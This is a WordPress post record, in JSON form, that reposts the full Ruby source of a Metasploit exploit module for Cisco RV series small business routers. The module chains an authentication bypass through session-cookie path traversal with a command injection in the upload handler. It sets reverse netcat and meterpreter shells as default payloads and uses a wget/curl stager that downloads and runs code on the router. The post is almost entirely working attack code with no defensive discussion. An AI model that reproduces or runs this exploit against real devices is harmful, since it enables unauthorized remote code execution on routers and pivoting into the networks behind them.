{"id":37580,"date":"2023-02-14T19:10:02","date_gmt":"2023-02-14T16:10:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170988\/cisco_rv340_lan.rb.txt"},"modified":"2023-02-15T09:33:08","modified_gmt":"2023-02-15T06:03:08","slug":"cisco-rv-series-authentication-bypass-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cisco-rv-series-authentication-bypass-command-injection\/","title":{"rendered":"Cisco RV Series Authentication Bypass \/ Command Injection"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Cisco RV Series Authentication Bypass and Command Injection&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits two vulnerabilities, a session ID directory traversal authentication<br \/>\nbypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,<br \/>\nand RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.<br \/>\nThis access can then be used to pivot to other parts of the network. This module works on firmware<br \/>\nversions 1.0.03.24 and below.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;, &#8216;unix&#8217;],<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Biem Pham&#8217;, # Vulnerability Discoveries<br \/>\n&#8216;Neterum&#8217;, # Metasploit Module<br \/>\n&#8216;jbaines-r7&#8217; # Inspired from cisco_rv_series_authbypass_and_rce.rb<br \/>\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-11-02&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_ARMLE],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2022-20705&#8217;], # Authentication Bypass<br \/>\n[&#8216;CVE&#8217;, &#8216;2022-20707&#8217;], # Command Injection<br \/>\n[&#8216;ZDI&#8217;, &#8217;22-410&#8242;], # Authentication Bypass<br \/>\n[&#8216;ZDI&#8217;, &#8217;22-411&#8242;] # Command Injection<br \/>\n],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;BadChars&#8217; =&gt; &#8216;\\&#8217;#&#8217;<br \/>\n},<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_netcat&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_ARMLE],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper,<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;BadChars&#8217; =&gt; &#8216;\\&#8217;#&#8217;<br \/>\n},<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [ &#8216;wget&#8217;, &#8216;curl&#8217; ],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/armle\/meterpreter\/reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 443,<br \/>\n&#8216;SSL&#8217; =&gt; true,<br \/>\n&#8216;MeterpreterTryToFork&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options(<br \/>\n[<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;])<br \/>\n]\n)<br \/>\nend<\/p>\n<p dir=\"ltr\"># sessionid utilized later needs to be set to length<br \/>\n# of 16 or exploit will fail. Tested with lengths<br \/>\n# 14-17<br \/>\ndef generate_session_id<br \/>\nreturn Rex::Text.rand_text_alphanumeric(16)<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; &#8216;\/upload&#8217;,<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;Cookie&#8217; =&gt; &#8216;sessionid =..\/..\/www\/index.html; sessionid=&#8217; + generate_session_id<br \/>\n}<br \/>\n}, 10)<\/p>\n<p dir=\"ltr\"># A proper &#8220;upload&#8221; will trigger file creation. So the send_request_cgi call<br \/>\n# above is an incorrect &#8220;upload&#8221; call to avoid creating a file on disk. The router will return<br \/>\n# status code 405 Not Allowed if authentication has been bypassed by the above request.<br \/>\n# The firmware containing this authentication bypass also contains the command injection<br \/>\n# vulnerability that will be abused during actual exploitation. Non-vulnerable<br \/>\n# firmware versions will respond with 403 Forbidden.<br \/>\nif res.nil?<br \/>\nreturn CheckCode::Unknown(&#8216;The device did not respond to request packet.&#8217;)<br \/>\nelsif res.code == 405<br \/>\nreturn CheckCode::Appears(&#8216;The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.&#8217;)<br \/>\nelsif res.code == 403<br \/>\nreturn CheckCode::Safe(&#8216;The device is not vulnerable to exploitation.&#8217;)<br \/>\nelse # Catch-all<br \/>\nreturn CheckCode::Unknown(&#8216;The target responded in an unexpected way. Exploitation is unlikely.&#8217;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\nres = send_exploit(cmd)<\/p>\n<p dir=\"ltr\"># Successful unix_cmd shells should not produce a response.<br \/>\n# However if a response is returned, check the status code and return<br \/>\n# Failure::NotVulnerable if it is 403 Forbidden.<br \/>\nif target[&#8216;Type&#8217;] == :unix_cmd &amp;&amp; res&amp;.code == 403<br \/>\nfail_with(Failure::NotVulnerable, &#8216;The target responded with 403 Forbidden and is not vulnerable&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">if target[&#8216;Type&#8217;] == :linux_dropper<br \/>\nfail_with(Failure::Unreachable, &#8216;The target did not respond&#8217;) unless res<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;The target did not respond with a 200 OK&#8217;) unless res&amp;.code == 200<br \/>\nbegin<br \/>\nbody_json = res.get_json_document<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;The target did not respond with a JSON body&#8217;) unless body_json<br \/>\nrescue JSON::ParserError =&gt; e<br \/>\nprint_error(&#8220;Failed: #{e.class} &#8211; #{e.message}&#8221;)<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Failed to parse the response returned from the server! Its possible the response may not be JSON!&#8217;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">print_good(&#8216;Exploit successfully executed.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_exploit(cmd)<br \/>\nfilename = Rex::Text.rand_text_alphanumeric(5..12)<br \/>\nfileparam = Rex::Text.rand_text_alphanumeric(5..12)<br \/>\ninput = Rex::Text.rand_text_alphanumeric(5..12)<\/p>\n<p dir=\"ltr\"># sessionid utilized later needs to be set to length<br \/>\n# of 16 or exploit will fail. Tested with lengths<br \/>\n# 14-17<br \/>\nsessionid = Rex::Text.rand_text_alphanumeric(16)<\/p>\n<p dir=\"ltr\">filepath = &#8216;\/tmp\/upload.input&#8217; # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.<br \/>\npathparam = &#8216;Configuration&#8217;<\/p>\n<p dir=\"ltr\">destination = &#8220;&#8216;; &#8221; + cmd + &#8216; #&#8217;<\/p>\n<p dir=\"ltr\">multipart_form = Rex::MIME::Message.new<br \/>\nmultipart_form.add_part(filepath, nil, nil, &#8216;form-data; name=&#8221;file.path&#8221;&#8216;)<br \/>\nmultipart_form.add_part(filename, nil, nil, &#8216;form-data; name=&#8221;filename&#8221;&#8216;)<br \/>\nmultipart_form.add_part(pathparam, nil, nil, &#8216;form-data; name=&#8221;pathparam&#8221;&#8216;)<br \/>\nmultipart_form.add_part(fileparam, nil, nil, &#8216;form-data; name=&#8221;fileparam&#8221;&#8216;)<br \/>\nmultipart_form.add_part(destination, nil, nil, &#8216;form-data; name=&#8221;destination&#8221;&#8216;)<br \/>\nmultipart_form.add_part(input, &#8216;application\/octet-stream&#8217;, nil, format(&#8216;form-data; name=&#8221;input&#8221;; filename=&#8221;%&lt;filename&gt;s&#8221;&#8216;, filename: filename))<\/p>\n<p dir=\"ltr\"># Escaping &#8220;\/tmp\/upload\/&#8221; folder that does not contain any other permanent files<br \/>\nsend_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; &#8216;\/upload&#8217;,<br \/>\n&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{multipart_form.bound}&#8221;,<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;Cookie&#8217; =&gt; &#8216;sessionid =..\/..\/www\/index.html; sessionid=&#8217; + sessionid<br \/>\n},<br \/>\n&#8216;data&#8217; =&gt; multipart_form.to_s<br \/>\n}, 10)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nprint_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>\ncase target[&#8216;Type&#8217;]\nwhen :unix_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :linux_dropper<br \/>\nexecute_cmdstager(linemax: 120)<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Cisco RV Series Authentication Bypass and Command Injection&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits two vulnerabilities, a session ID &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-37580","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/37580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=37580"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/37580\/revisions"}],"predecessor-version":[{"id":37602,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/37580\/revisions\/37602"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=37580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=37580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=37580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}